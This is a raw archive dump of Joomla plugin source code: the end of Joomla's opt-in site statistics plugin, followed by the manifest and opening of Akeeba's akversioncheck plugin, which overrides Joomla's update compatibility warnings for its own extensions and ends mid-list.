	protected $serverUrl = 'https://developer.joomla.org/stats/submit';

	/**
	 * Unique identifier for this site
	 *
	 * @var    string
	 * @since  3.5
	 */
	protected $uniqueId;

	/**
	 * Listener for the `onAfterInitialise` event
	 *
	 * @return  void
	 *
	 * @since   3.5
	 */
	public function onAfterInitialise()
	{
		if (!$this->app->isClient('administrator') || !$this->isAllowedUser())
		{
			return;
		}

		if (!$this->isDebugEnabled() && !$this->isUpdateRequired())
		{
			return;
		}

		if (JUri::getInstance()->getVar('tmpl') === 'component')
		{
			return;
		}

		// Load plugin language files only when needed (ex: they are not needed in site client).
		$this->loadLanguage();

		JHtml::_('jquery.framework');
		JHtml::_('script', 'plg_system_stats/stats.js', array('version' => 'auto', 'relative' => true));
	}

	/**
	 * User selected to always send data
	 *
	 * @return  void
	 *
	 * @since   3.5
	 *
	 * @throws  Exception         If user is not allowed.
	 * @throws  RuntimeException  If there is an error saving the params or sending the data.
	 */
	public function onAjaxSendAlways()
	{
		if (!$this->isAllowedUser() || !$this->isAjaxRequest())
		{
			throw new Exception(JText::_('JGLOBAL_AUTH_ACCESS_DENIED'), 403);
		}

		$this->params->set('mode', static::MODE_ALLOW_ALWAYS);

		if (!$this->saveParams())
		{
			throw new RuntimeException('Unable to save plugin settings', 500);
		}

		$this->sendStats();

		echo json_encode(array('sent' => 1));
	}

	/**
	 * User selected to never send data.
	 *
	 * @return  void
	 *
	 * @since   3.5
	 *
	 * @throws  Exception         If user is not allowed.
	 * @throws  RuntimeException  If there is an error saving the params.
	 */
	public function onAjaxSendNever()
	{
		if (!$this->isAllowedUser() || !$this->isAjaxRequest())
		{
			throw new Exception(JText::_('JGLOBAL_AUTH_ACCESS_DENIED'), 403);
		}

		$this->params->set('mode', static::MODE_ALLOW_NEVER);

		if (!$this->saveParams())
		{
			throw new RuntimeException('Unable to save plugin settings', 500);
		}

		echo json_encode(array('sent' => 0));
	}

	/**
	 * User selected to send data once.
	 *
	 * @return  void
	 *
	 * @since   3.5
	 *
	 * @throws  Exception         If user is not allowed.
	 * @throws  RuntimeException  If there is an error saving the params or sending the data.
	 */
	public function onAjaxSendOnce()
	{
		if (!$this->isAllowedUser() || !$this->isAjaxRequest())
		{
			throw new Exception(JText::_('JGLOBAL_AUTH_ACCESS_DENIED'), 403);
		}

		$this->params->set('mode', static::MODE_ALLOW_ONCE);

		if (!$this->saveParams())
		{
			throw new RuntimeException('Unable to save plugin settings', 500);
		}

		$this->sendStats();

		echo json_encode(array('sent' => 1));
	}

	/**
	 * Send the stats to the server.
	 * On first load | on demand mode it will show a message asking users to select mode.
	 *
	 * @return  void
	 *
	 * @since   3.5
	 *
	 * @throws  Exception         If user is not allowed.
	 * @throws  RuntimeException  If there is an error saving the params or sending the data.
	 */
	public function onAjaxSendStats()
	{
		if (!$this->isAllowedUser() || !$this->isAjaxRequest())
		{
			throw new Exception(JText::_('JGLOBAL_AUTH_ACCESS_DENIED'), 403);
		}

		// User has not selected the mode. Show message.
		if ((int) $this->params->get('mode') !== static::MODE_ALLOW_ALWAYS)
		{
			$data = array(
				'sent' => 0,
				'html' => $this->getRenderer('message')->render($this->getLayoutData())
			);

			echo json_encode($data);

			return;
		}

		if (!$this->saveParams())
		{
			throw new RuntimeException('Unable to save plugin settings', 500);
		}

		$this->sendStats();

		echo json_encode(array('sent' => 1));
	}

	/**
	 * Get the data through events
	 *
	 * @param   string  $context  Context where this will be called from
	 *
	 * @return  array
	 *
	 * @since   3.5
	 */
	public function onGetStatsData($context)
	{
		return $this->getStatsData();
	}

	/**
	 * Debug a layout of this plugin
	 *
	 * @param   string  $layoutId  Layout identifier
	 * @param   array   $data      Optional data for the layout
	 *
	 * @return  string
	 *
	 * @since   3.5
	 */
	public function debug($layoutId, $data = array())
	{
		$data = array_merge($this->getLayoutData(), $data);

		return $this->getRenderer($layoutId)->debug($data);
	}

	/**
	 * Get the data for the layout
	 *
	 * @return  array
	 *
	 * @since   3.5
	 */
	protected function getLayoutData()
	{
		return array(
			'plugin'       => $this,
			'pluginParams' => $this->params,
			'statsData'    => $this->getStatsData()
		);
	}

	/**
	 * Get the layout paths
	 *
	 * @return  array
	 *
	 * @since   3.5
	 */
	protected function getLayoutPaths()
	{
		$template = JFactory::getApplication()->getTemplate();

		return array(
			JPATH_ADMINISTRATOR . '/templates/' . $template . '/html/layouts/plugins/' . $this->_type . '/' . $this->_name,
			__DIR__ . '/layouts',
		);
	}

	/**
	 * Get the plugin renderer
	 *
	 * @param   string  $layoutId  Layout identifier
	 *
	 * @return  JLayout
	 *
	 * @since   3.5
	 */
	protected function getRenderer($layoutId = 'default')
	{
		$renderer = new JLayoutFile($layoutId);

		$renderer->setIncludePaths($this->getLayoutPaths());

		return $renderer;
	}

	/**
	 * Get the data that will be sent to the stats server.
	 *
	 * @return  array
	 *
	 * @since   3.5
	 */
	private function getStatsData()
	{
		$data = array(
			'unique_id'   => $this->getUniqueId(),
			'php_version' => PHP_VERSION,
			'db_type'     => $this->db->name,
			'db_version'  => $this->db->getVersion(),
			'cms_version' => JVERSION,
			'server_os'   => php_uname('s') . ' ' . php_uname('r')
		);

		// Check if we have a MariaDB version string and extract the proper version from it
		if (preg_match('/^(?:5\.5\.5-)?(mariadb-)?(?P<major>\d+)\.(?P<minor>\d+)\.(?P<patch>\d+)/i', $data['db_version'], $versionParts))
		{
			$data['db_version'] = $versionParts['major'] . '.' . $versionParts['minor'] . '.' . $versionParts['patch'];
		}

		return $data;
	}

	/**
	 * Get the unique id. Generates one if none is set.
	 *
	 * @return  integer
	 *
	 * @since   3.5
	 */
	private function getUniqueId()
	{
		if (null === $this->uniqueId)
		{
			$this->uniqueId = $this->params->get('unique_id', hash('sha1', JUserHelper::genRandomPassword(28) . time()));
		}

		return $this->uniqueId;
	}

	/**
	 * Check if current user is allowed to send the data
	 *
	 * @return  boolean
	 *
	 * @since   3.5
	 */
	private function isAllowedUser()
	{
		return JFactory::getUser()->authorise('core.admin');
	}

	/**
	 * Check if the debug is enabled
	 *
	 * @return  boolean
	 *
	 * @since   3.5
	 */
	private function isDebugEnabled()
	{
		return defined('PLG_SYSTEM_STATS_DEBUG');
	}

	/**
	 * Check if last_run + interval > now
	 *
	 * @return  boolean
	 *
	 * @since   3.5
	 */
	private function isUpdateRequired()
	{
		$last     = (int) $this->params->get('lastrun', 0);
		$interval = (int) $this->params->get('interval', 12);
		$mode     = (int) $this->params->get('mode', 0);

		if ($mode === static::MODE_ALLOW_NEVER)
		{
			return false;
		}

		// Never updated or debug enabled
		if (!$last || $this->isDebugEnabled())
		{
			return true;
		}

		return (abs(time() - $last) > $interval * 3600);
	}

	/**
	 * Check valid AJAX request
	 *
	 * @return  boolean
	 *
	 * @since   3.5
	 */
	private function isAjaxRequest()
	{
		return strtolower($this->app->input->server->get('HTTP_X_REQUESTED_WITH', '')) === 'xmlhttprequest';
	}

	/**
	 * Render a layout of this plugin
	 *
	 * @param   string  $layoutId  Layout identifier
	 * @param   array   $data      Optional data for the layout
	 *
	 * @return  string
	 *
	 * @since   3.5
	 */
	public function render($layoutId, $data = array())
	{
		$data = array_merge($this->getLayoutData(), $data);

		return $this->getRenderer($layoutId)->render($data);
	}

	/**
	 * Save the plugin parameters
	 *
	 * @return  boolean
	 *
	 * @since   3.5
	 */
	private function saveParams()
	{
		// Update params
		$this->params->set('lastrun', time());
		$this->params->set('unique_id', $this->getUniqueId());
		$interval = (int) $this->params->get('interval', 12);
		$this->params->set('interval', $interval ?: 12);

		$query = $this->db->getQuery(true)
				->update($this->db->quoteName('#__extensions'))
				->set($this->db->quoteName('params') . ' = ' . $this->db->quote($this->params->toString('JSON')))
				->where($this->db->quoteName('type') . ' = ' . $this->db->quote('plugin'))
				->where($this->db->quoteName('folder') . ' = ' . $this->db->quote('system'))
				->where($this->db->quoteName('element') . ' = ' . $this->db->quote('stats'));

		try
		{
			// Lock the tables to prevent multiple plugin executions causing a race condition
			$this->db->lockTable('#__extensions');
		}
		catch (Exception $e)
		{
			// If we can't lock the tables it's too risky to continue execution
			return false;
		}

		try
		{
			// Update the plugin parameters
			$result = $this->db->setQuery($query)->execute();

			$this->clearCacheGroups(array('com_plugins'), array(0, 1));
		}
		catch (Exception $exc)
		{
			// If we failed to execute
			$this->db->unlockTables();
			$result = false;
		}

		try
		{
			// Unlock the tables after writing
			$this->db->unlockTables();
		}
		catch (Exception $e)
		{
			// If we can't lock the tables assume we have somehow failed
			$result = false;
		}

		return $result;
	}

	/**
	 * Send the stats to the stats server
	 *
	 * @return  boolean
	 *
	 * @since   3.5
	 *
	 * @throws  RuntimeException  If there is an error sending the data.
	 */
	private function sendStats()
	{
		try
		{
			// Don't let the request take longer than 2 seconds to avoid page timeout issues
			$response = JHttpFactory::getHttp()->post($this->serverUrl, $this->getStatsData(), null, 2);
		}
		catch (UnexpectedValueException $e)
		{
			// There was an error sending stats. Should we do anything?
			throw new RuntimeException('Could not send site statistics to remote server: ' . $e->getMessage(), 500);
		}
		catch (RuntimeException $e)
		{
			// There was an error connecting to the server or in the post request
			throw new RuntimeException('Could not connect to statistics server: ' . $e->getMessage(), 500);
		}
		catch (Exception $e)
		{
			// An unexpected error in processing; don't let this failure kill the site
			throw new RuntimeException('Unexpected error connecting to statistics server: ' . $e->getMessage(), 500);
		}

		if ($response->code !== 200)
		{
			$data = json_decode($response->body);

			throw new RuntimeException('Could not send site statistics to remote server: ' . $data->message, $response->code);
		}

		return true;
	}

	/**
	 * Clears cache groups. We use it to clear the plugins cache after we update the last run timestamp.
	 *
	 * @param   array  $clearGroups   The cache groups to clean
	 * @param   array  $cacheClients  The cache clients (site, admin) to clean
	 *
	 * @return  void
	 *
	 * @since   3.5
	 */
	private function clearCacheGroups(array $clearGroups, array $cacheClients = array(0, 1))
	{
		foreach ($clearGroups as $group)
		{
			foreach ($cacheClients as $client_id)
			{
				try
				{
					$options = array(
						'defaultgroup' => $group,
						'cachebase'    => $client_id ? JPATH_ADMINISTRATOR . '/cache' : $this->app->get('cache_path', JPATH_SITE . '/cache')
					);

					$cache = JCache::getInstance('callback', $options);
					$cache->clean();
				}
				catch (Exception $e)
				{
					// Ignore it
				}
			}
		}
	}
}
PK�(]@�؍FF(system/akversioncheck/akversioncheck.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->

<extension version="3.8.0" type="plugin" group="system" method="upgrade">
	<name>PLG_SYSTEM_AKVERSIONCHECK</name>
	<author>Nicholas K. Dionysopoulos</author>
	<authorEmail>nicholas@dionysopoulos.me</authorEmail>
	<authorUrl>https://www.akeeba.com</authorUrl>
	<copyright>Copyright (c)2006-2023 Nicholas K. Dionysopoulos</copyright>
	<license>GNU General Public License version 3, or later</license>
	<creationDate>2023-05-26</creationDate>
	<version>8.3.1</version>
	<description>PLG_SYSTEM_AKVERSIONCHECK_XML_DESCRIPTION</description>
	<files>
		<filename plugin="akversioncheck">akversioncheck.php</filename>
	</files>
	<languages folder="language">
		<language tag="en-GB">en-GB/en-GB.plg_system_akversioncheck.ini</language>
		<language tag="en-GB">en-GB/en-GB.plg_system_akversioncheck.sys.ini</language>
	</languages>

	<scriptfile>script.php</scriptfile>
</extension>
PK�(]�Q�^p^p(system/akversioncheck/akversioncheck.phpnu�[���<?php
/**
 * @package   akversioncheck
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die;

use Joomla\CMS\Application\AdministratorApplication;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\CMS\Response\JsonResponse;

/**
 * Version Check — Stops Joomla Update lying about whether our software supports Joomla 4.
 *
 * For the record, we were the FIRST third party extensions developer to support Joomla 4 since it was still in Alpha 2
 * back in November 2017 — three and a half years before 4.0 stable was released. We have the easiest upgrade path of
 * any other third party extensions developer: upgrade your site to Joomla 4, install the updates your site finds, done.
 *
 * I had notified the core maitnainers that Joomla Update's idiotic pre-update check was based on a false premise, can
 * not work beyond the simplest use case (“latest version supports the current Joomla 3 and the next Joomla 4 version,
 * whichever these are”), and would simply end up as an automated slander against third party developers (it has caused
 * our sales to drop because people believe Joomla's lies about our PERFECTLY WORKING AND COMPATIBLE software being
 * ‘incompatible’ with Joomla 4).
 *
 * I notified them four times in the year before Joomla 4 was released. They were too stubborn to even put the minimal
 * effort any living creature with more than one working braincell would need to understand the magnitude and importance
 * of the problem.
 *
 * So here we are. I am met with a problem the Joomla project refuses to fix. You know what? It's not my first rodeo.
 *
 * I know how Joomla works. I know **very well** how Joomla's plugin system works. Darn it, I actually wrote the one
 * in Joomla 4, plus the migration and b/c code for concrete events which will be more prominent in Joomla 5. I will use
 * my deep knowledge of Joomla, its plugin system, and my experience to create this plugin which does three things:
 *
 * 1. Adds a notice on the update page about the CORRECT upgrade procedure should it detect you have some incredibly
 *    old, absolutely obsolete extensions of ours.
 *
 * 2. Report the latest available Joomla 3 versions of our extensions as compatible with Joomla 4 (because we constantly
 *    test them with it to make sure nothing breaks on upgrade, thank you very much!).
 *
 * 3. Remove the ugly, misleading, SLANDEROUS notices that our extensions will break your site just because they have
 *    some plugins which are not marked as core Joomla.
 *
 * It does so with elegance and a certain aplomb, if I may say so myself.
 *
 * @since 1.0.0
 */
class plgSystemAkversioncheck extends CMSPlugin
{
	/**
	 * Obsolete extensions.
	 *
	 * If any of these extensions is still installed you will see the message that you need to run MagicEraser.
	 *
	 * @since 1.0.0
	 */
	private const OBSOLETE_EXTENSIONS = [
		// Obsolete extensions
		'com_cmsupdate',
		'plg_system_akgeoip',
		'pkg_yubikey',
		'pkg_yubikey_plugins',
		'plg_system_oneclickaction',
		'pkg_compliance',

		// Libraries and frameworks
		'lib_f0f#prefix',
		'lib_fof30',
		'file_fof30',
		'file_akeebastrapper',
		'file_strapper',
		'files_strapper',
		'file_strapper30',

		// Obsolete extensions formerly bundled with Akeeba Backup
		'amod_akadmin',
		'plg_jmonitoring_akeebabackup',
		'plg_system_akeebaupdatecheck',
		'plg_system_aklazy',
		'plg_system_srp',

		// Obsolete extensions formerly bundled with Admin Tools
		'amod_atjupgrade',
		'plg_quickicon_atoolsjupdatecheck',
		'plg_system_atoolsjupdatecheck',
		'plg_system_atoolsupdatecheck',
		'plg_system_admintoolsactionlog',

		// Obsolete extensions formerly bundled with Akeeba Ticket System
		'plg_ats_alphauserpoints',
		'plg_ats_akeebasubs',
		'plg_ats_akeebasubslegacy',

		// Obsolete extensions formerly bundled with DocImport
		'plg_sh404sefextplugins_com_docimport',
		'mod_docimport_search',

		// Obsolete extensions formerly bundled with Akeeba Release System
		'plg_ars_bleedingedgediff',
		'plg_ars_bleedingedgematurity',
		'plg_ars_tainting',
		'plg_sh404sefextplugins_com_ars',
		'file_ars',
		'files_ars',
		'mod_arsdlid',
		'plg_system_arsjed',

		// Obsolete extensions formerly bundled with Akeeba Subscriptions
		'amod_akeebasubs',
		'mod_aktaxcountry',
		'plg_akeebasubs_aceshop',
		'plg_akeebasubs_acymailing',
		'plg_akeebasubs_adminemails',
		'plg_akeebasubs_affemails',
		'plg_akeebasubs_ageverification',
		'plg_akeebasubs_agora',
		'plg_akeebasubs_agreetoeu',
		'plg_akeebasubs_agreetotos',
		'plg_akeebasubs_atscreditslegacy',
		'plg_akeebasubs_autocity',
		'plg_akeebasubs_canalyticscommerce',
		'plg_akeebasubs_cb',
		'plg_akeebasubs_cbsync',
		'plg_akeebasubs_ccinvoices',
		'plg_akeebasubs_communityacl',
		'plg_akeebasubs_constantcontact',
		'plg_akeebasubs_customfields',
		'plg_akeebasubs_docman',
		'plg_akeebasubs_easydiscuss',
		'plg_akeebasubs_freshbooks',
		'plg_akeebasubs_frontenduseraccess',
		'plg_akeebasubs_gacommerce',
		'plg_akeebasubs_invoices',
		'plg_akeebasubs_iplogger',
		'plg_akeebasubs_iproperty',
		'plg_akeebasubs_jce',
		'plg_akeebasubs_jomsocial',
		'plg_akeebasubs_joomlaprofilesync',
		'plg_akeebasubs_juga',
		'plg_akeebasubs_jxjomsocial',
		'plg_akeebasubs_k2',
		'plg_akeebasubs_kunena',
		'plg_akeebasubs_mailchimp',
		'plg_akeebasubs_mijoshop',
		'plg_akeebasubs_needslogout',
		'plg_akeebasubs_ninjaboard',
		'plg_akeebasubs_phocadownload',
		'plg_akeebasubs_projectfork',
		'plg_akeebasubs_projectfork4',
		'plg_akeebasubs_recaptcha',
		'plg_akeebasubs_redshop',
		'plg_akeebasubs_redshopusersync',
		'plg_akeebasubs_reseller',
		'plg_akeebasubs_samplefields',
		'plg_akeebasubs_slavesubs',
		'plg_akeebasubs_sql',
		'plg_akeebasubs_subscriptionemailsdebug',
		'plg_akeebasubs_tienda',
		'plg_akeebasubs_tracktime',
		'plg_akeebasubs_userdelete',
		'plg_akeebasubs_vm',
		'plg_akeebasubs_vm2',
		'plg_akeebasubs_zohoinvoice',
		'plg_akpayment_2checkout',
		'plg_akpayment_2conew',
		'plg_akpayment_allopass',
		'plg_akpayment_alphauserpoints',
		'plg_akpayment_authorizenet',
		'plg_akpayment_be2bill',
		'plg_akpayment_beanstream',
		'plg_akpayment_braintree',
		'plg_akpayment_cardstream',
		'plg_akpayment_cashu',
		'plg_akpayment_ccavenue',
		'plg_akpayment_clickandbuy',
		'plg_akpayment_cmcic',
		'plg_akpayment_deltapay',
		'plg_akpayment_dwolla',
		'plg_akpayment_epaydk',
		'plg_akpayment_eselectplus',
		'plg_akpayment_eway',
		'plg_akpayment_ewayrapid3',
		'plg_akpayment_exact',
		'plg_akpayment_gocardless',
		'plg_akpayment_googlecheckout',
		'plg_akpayment_ifthen',
		'plg_akpayment_mercadopago',
		'plg_akpayment_mobilpaycc',
		'plg_akpayment_mobilpaysms',
		'plg_akpayment_moip',
		'plg_akpayment_moipassinaturas',
		'plg_akpayment_moneris',
		'plg_akpayment_nochex',
		'plg_akpayment_none',
		'plg_akpayment_offline',
		'plg_akpayment_pagseguro',
		'plg_akpayment_payfast',
		'plg_akpayment_paymill',
		'plg_akpayment_paymilldss3',
		'plg_akpayment_paypal',
		'plg_akpayment_paypalpaymentspro',
		'plg_akpayment_paypalproexpress',
		'plg_akpayment_paypoint',
		'plg_akpayment_paysafe',
		'plg_akpayment_payu',
		'plg_akpayment_postfinancech',
		'plg_akpayment_przelewy24',
		'plg_akpayment_rbkmoney',
		'plg_akpayment_realex',
		'plg_akpayment_robokassa',
		'plg_akpayment_saferpay',
		'plg_akpayment_sagepay',
		'plg_akpayment_scnet',
		'plg_akpayment_scnetintegrated',
		'plg_akpayment_skrill',
		'plg_akpayment_stripe',
		'plg_akpayment_suomenverkkomaksut',
		'plg_akpayment_upay',
		'plg_akpayment_verotel',
		'plg_akpayment_viva',
		'plg_akpayment_wepay',
		'plg_akpayment_worldpay',
		'plg_akpayment_zarinpal',
		'plg_ccinvoicetags_akeebasubs',
		'plg_sh404sefextplugins_com_akeebasubs',
		'plg_system_as2cocollation',
		'plg_system_affiliatesessiongeneration',
		'plg_system_aslogoutuser',
		'plg_system_aspaypalcollation',
		'plg_system_idevaffiliate',
		'plg_system_postaffiliatepro',
		'plg_user_aslogoutuser',
		'plg_user_asresetform',

		// Obsolete extensions formerly bundled with Akeeba YubiKey Authentication Plugins
		'plg_user_yubikey',
		'plg_authentication_yubikey',
		'plg_twofactorauth_yubikeytotp',
		'plg_twofactorauth_yubikeyplus',
		'plg_twofactorauth_u2f',

		// Obsolete extensions formerly bundled with Akeeba CMS Update
		'plg_system_cmsupdateemail',
		'plg_quickicon_cmsupdate',
	];

	/**
	 * Allowed extensions.
	 *
	 * These extensions will be marked as compatible with Joomla 4 even though they technically have no release for
	 * Joomla 4, or cannot be installed on Joomla 4.1 and later. These are extensions **KNOWN** to be safe, which can
	 * be removed after the upgrade to Joomla 4.
	 *
	 * @since 1.0.0
	 */
	private const ALLOWED_EXTENSIONS = [
		// ### Libraries and frameworks. They remain inactive in Joomla 4.
		'lib_f0f#prefix',
		'lib_fof',
		'lib_fof30',
		'file_fof30',
		'file_fof40',
		'file_fef',
		'file_akeebastrapper',
		'file_strapper',
		'files_strapper',
		'file_strapper30',

		// Obsolete extensions formerly bundled with Akeeba Backup
		'plg_jmonitoring_akeebabackup',

		// Obsolete extensions formerly bundled with Admin Tools
		'plg_system_admintoolsactionlog',

		// Obsolete extensions formerly bundled with Akeeba Ticket System
		'plg_ats_alphauserpoints',
		'plg_ats_akeebasubs',
		'plg_ats_akeebasubslegacy',

		// Obsolete extensions formerly bundled with DocImport
		'plg_sh404sefextplugins_com_docimport',

		// Obsolete extensions formerly bundled with Akeeba Release System
		'plg_ars_bleedingedgediff',
		'plg_ars_bleedingedgematurity',
		'plg_ars_tainting',
		'plg_sh404sefextplugins_com_ars',
		'file_ars',
		'files_ars',
		'mod_arsdlid',
		'plg_system_arsjed',

		// Obsolete extensions formerly bundled with Akeeba Subscriptions
		'amod_akeebasubs',
		'mod_aktaxcountry',
		'plg_akeebasubs_aceshop',
		'plg_akeebasubs_acymailing',
		'plg_akeebasubs_adminemails',
		'plg_akeebasubs_affemails',
		'plg_akeebasubs_ageverification',
		'plg_akeebasubs_agora',
		'plg_akeebasubs_agreetoeu',
		'plg_akeebasubs_agreetotos',
		'plg_akeebasubs_atscreditslegacy',
		'plg_akeebasubs_autocity',
		'plg_akeebasubs_canalyticscommerce',
		'plg_akeebasubs_cb',
		'plg_akeebasubs_cbsync',
		'plg_akeebasubs_ccinvoices',
		'plg_akeebasubs_communityacl',
		'plg_akeebasubs_constantcontact',
		'plg_akeebasubs_customfields',
		'plg_akeebasubs_docman',
		'plg_akeebasubs_easydiscuss',
		'plg_akeebasubs_freshbooks',
		'plg_akeebasubs_frontenduseraccess',
		'plg_akeebasubs_gacommerce',
		'plg_akeebasubs_invoices',
		'plg_akeebasubs_iplogger',
		'plg_akeebasubs_iproperty',
		'plg_akeebasubs_jce',
		'plg_akeebasubs_jomsocial',
		'plg_akeebasubs_joomlaprofilesync',
		'plg_akeebasubs_juga',
		'plg_akeebasubs_jxjomsocial',
		'plg_akeebasubs_k2',
		'plg_akeebasubs_kunena',
		'plg_akeebasubs_mailchimp',
		'plg_akeebasubs_mijoshop',
		'plg_akeebasubs_needslogout',
		'plg_akeebasubs_ninjaboard',
		'plg_akeebasubs_phocadownload',
		'plg_akeebasubs_projectfork',
		'plg_akeebasubs_projectfork4',
		'plg_akeebasubs_recaptcha',
		'plg_akeebasubs_redshop',
		'plg_akeebasubs_redshopusersync',
		'plg_akeebasubs_reseller',
		'plg_akeebasubs_samplefields',
		'plg_akeebasubs_slavesubs',
		'plg_akeebasubs_sql',
		'plg_akeebasubs_subscriptionemailsdebug',
		'plg_akeebasubs_tienda',
		'plg_akeebasubs_tracktime',
		'plg_akeebasubs_userdelete',
		'plg_akeebasubs_vm',
		'plg_akeebasubs_vm2',
		'plg_akeebasubs_zohoinvoice',
		'plg_akpayment_2checkout',
		'plg_akpayment_2conew',
		'plg_akpayment_allopass',
		'plg_akpayment_alphauserpoints',
		'plg_akpayment_authorizenet',
		'plg_akpayment_be2bill',
		'plg_akpayment_beanstream',
		'plg_akpayment_braintree',
		'plg_akpayment_cardstream',
		'plg_akpayment_cashu',
		'plg_akpayment_ccavenue',
		'plg_akpayment_clickandbuy',
		'plg_akpayment_cmcic',
		'plg_akpayment_deltapay',
		'plg_akpayment_dwolla',
		'plg_akpayment_epaydk',
		'plg_akpayment_eselectplus',
		'plg_akpayment_eway',
		'plg_akpayment_ewayrapid3',
		'plg_akpayment_exact',
		'plg_akpayment_gocardless',
		'plg_akpayment_googlecheckout',
		'plg_akpayment_ifthen',
		'plg_akpayment_mercadopago',
		'plg_akpayment_mobilpaycc',
		'plg_akpayment_mobilpaysms',
		'plg_akpayment_moip',
		'plg_akpayment_moipassinaturas',
		'plg_akpayment_moneris',
		'plg_akpayment_nochex',
		'plg_akpayment_none',
		'plg_akpayment_offline',
		'plg_akpayment_pagseguro',
		'plg_akpayment_payfast',
		'plg_akpayment_paymill',
		'plg_akpayment_paymilldss3',
		'plg_akpayment_paypal',
		'plg_akpayment_paypalpaymentspro',
		'plg_akpayment_paypalproexpress',
		'plg_akpayment_paypoint',
		'plg_akpayment_paysafe',
		'plg_akpayment_payu',
		'plg_akpayment_postfinancech',
		'plg_akpayment_przelewy24',
		'plg_akpayment_rbkmoney',
		'plg_akpayment_realex',
		'plg_akpayment_robokassa',
		'plg_akpayment_saferpay',
		'plg_akpayment_sagepay',
		'plg_akpayment_scnet',
		'plg_akpayment_scnetintegrated',
		'plg_akpayment_skrill',
		'plg_akpayment_stripe',
		'plg_akpayment_suomenverkkomaksut',
		'plg_akpayment_upay',
		'plg_akpayment_verotel',
		'plg_akpayment_viva',
		'plg_akpayment_wepay',
		'plg_akpayment_worldpay',
		'plg_akpayment_zarinpal',
		'plg_ccinvoicetags_akeebasubs',
		'plg_sh404sefextplugins_com_akeebasubs',
		'plg_system_as2cocollation',
		'plg_system_affiliatesessiongeneration',
		'plg_system_aslogoutuser',
		'plg_system_aspaypalcollation',
		'plg_system_idevaffiliate',
		'plg_system_postaffiliatepro',
		'plg_user_aslogoutuser',
		'plg_user_asresetform',

		// Obsolete extensions formerly bundled with Akeeba CMS Update
		'plg_system_cmsupdateemail',
		'plg_quickicon_cmsupdate',

		// Packages: Akeeba Backup
		'pkg_akeeba',
		'com_akeeba',
		'file_akeeba',
		'plg_actionlog_akeebabackup',
		'plg_console_akeebabackup',
		'plg_installer_akeebabackup',
		'plg_quickicon_akeebabackup',
		'plg_system_akversioncheck',
		'plg_system_backuponupdate',

		// Packages: Admin Tools
		'pkg_admintools',
		'com_admintools',
		'file_admintools',
		'plg_actionlog_admintools',
		'plg_installer_admintools',
		'plg_system_admintools',

		// Packages: Akeeba Ticket System
		'pkg_ats',
		'com_ats',
		'file_ats',
		'amod_atsstats',
		'mod_atscredits',
		'mod_atstickets',
		'plg_actionlog_ats',
		'plg_ats_akeebasubs',
		'plg_ats_autoclose',
		'plg_ats_autoreply',
		'plg_ats_customfields',
		'plg_ats_deletenotes',
		'plg_ats_easyavatar',
		'plg_ats_geolocation',
		'plg_ats_gravatar',
		'plg_ats_mailfetch',
		'plg_ats_postemail',
		'plg_ats_removeattachments',
		'plg_ats_sociallike',
		'plg_ats_usergroups',
		'plg_atsinstantreply_docimport',
		'plg_atsinstantreply_tickets',
		'plg_content_atscredits',
		'plg_editors-xtd_atscannedreplies',
		'plg_finder_ats',
		'plg_installer_ats',
		'plg_search_ats',
		'plg_sh404sefextplugins_ats',
		'plg_user_ats',

		// Packages: Akeeba Subscriptions
		'pkg_akeebasubs',
		'com_akeebasubs',
		'file_akeebasubs',
		'mod_akmysubs',
		'mod_aksexpires',
		'mod_akslevels',
		'mod_aksubslist',
		'plg_content_astimedrelease',
		'plg_content_asprice',
		'plg_content_asrestricted',
		'plg_content_aslink',
		'plg_system_asexpirationcontrol',
		'plg_system_asuserregredir',
		'plg_system_asexpirationnotify',
		'plg_system_asfixrenewalsflag',
		'plg_akeebasubs_atscredits',
		'plg_akeebasubs_subscriptionemails',
		'plg_akeebasubs_contentpublish',
		'plg_akeebasubs_joomla',

		// Packages: Akeeba Release System
		'pkg_ars',
		'com_ars',
		'file_ars',
		'mod_arsdlid',
		'mod_arsdownloads',
		'plg_content_arsdlid',
		'plg_content_arslatest',
		'plg_system_arsjed',
		'plg_editors-xtd_arslink',

		// Packages: Version Compatibility
		'pkg_compatibility',
		'com_compatibility',

		// Packages: Akeeba DataCompliance
		'pkg_datacompliance',
		'pkg_compliance',
		'com_datacompliance',
		'file_datacompliance',
		'plg_user_datacompliance',
		'plg_datacompliance_s3',
		'plg_datacompliance_ars',
		'plg_datacompliance_loginguard',
		'plg_datacompliance_akeebasubs',
		'plg_datacompliance_ats',
		'plg_datacompliance_joomla',
		'plg_datacompliance_email',
		'plg_system_datacompliancecookie',
		'plg_system_datacompliance',

		// Packages: Akeeba ContactUs
		'pkg_contactus',
		'com_contactus',
		'file_contactus',

		// Packages: Akeeba DocImport
		'pkg_docimport',
		'com_docimport',
		'file_docimport',
		'mod_docimport_categories',
		'mod_docimport_search',
		'plg_search_docimport',
		'plg_finder_docimport',

		// Packages: Akeeba Engage
		'pkg_engage',
		'com_engage',
		'file_engage',
		'plg_privacy_engage',
		'plg_content_engage',
		'plg_user_engage',
		'plg_datacompliance_engage',
		'plg_engage_akismet',
		'plg_engage_gravatar',
		'plg_engage_email',
		'plg_system_engagecache',
		'plg_actionlog_engage',

		// Packages: Akeeba LoginGuard
		'pkg_loginguard',
		'com_loginguard',
		'file_loginguard',
		'plg_user_loginguard',
		'plg_system_loginguard',
		'plg_actionlog_loginguard',
		'plg_loginguard_smsapi',
		'plg_loginguard_yubikey',
		'plg_loginguard_fixed',
		'plg_loginguard_webauthn',
		'plg_loginguard_pushbullet',
		'plg_loginguard_totp',
		'plg_loginguard_email',
		'plg_loginguard_u2f',

		// Packages: Akeeba SocialLogin
		'plg_sociallogin_apple',
		'plg_sociallogin_discord',
		'plg_sociallogin_google',
		'plg_sociallogin_microsoft',
		'plg_sociallogin_github',
		'plg_sociallogin_facebook',
		'plg_sociallogin_linkedin',
		'plg_sociallogin_twitter',
		'plg_system_sociallogin',

		// Dark Magic
		'plg_system_darkmagic',

		// Internal
		'tpl_akeeba',
		'plg_user_foftoken',
		'plg_system_dateshift',
		'plg_system_mailmagic',
		'amod_emailsetup',
		'pkg_passwordless',
		'plg_system_passwordless',
		'plg_content_fieldsorter',
		'plg_system_usertype',
		'amod_userstats',
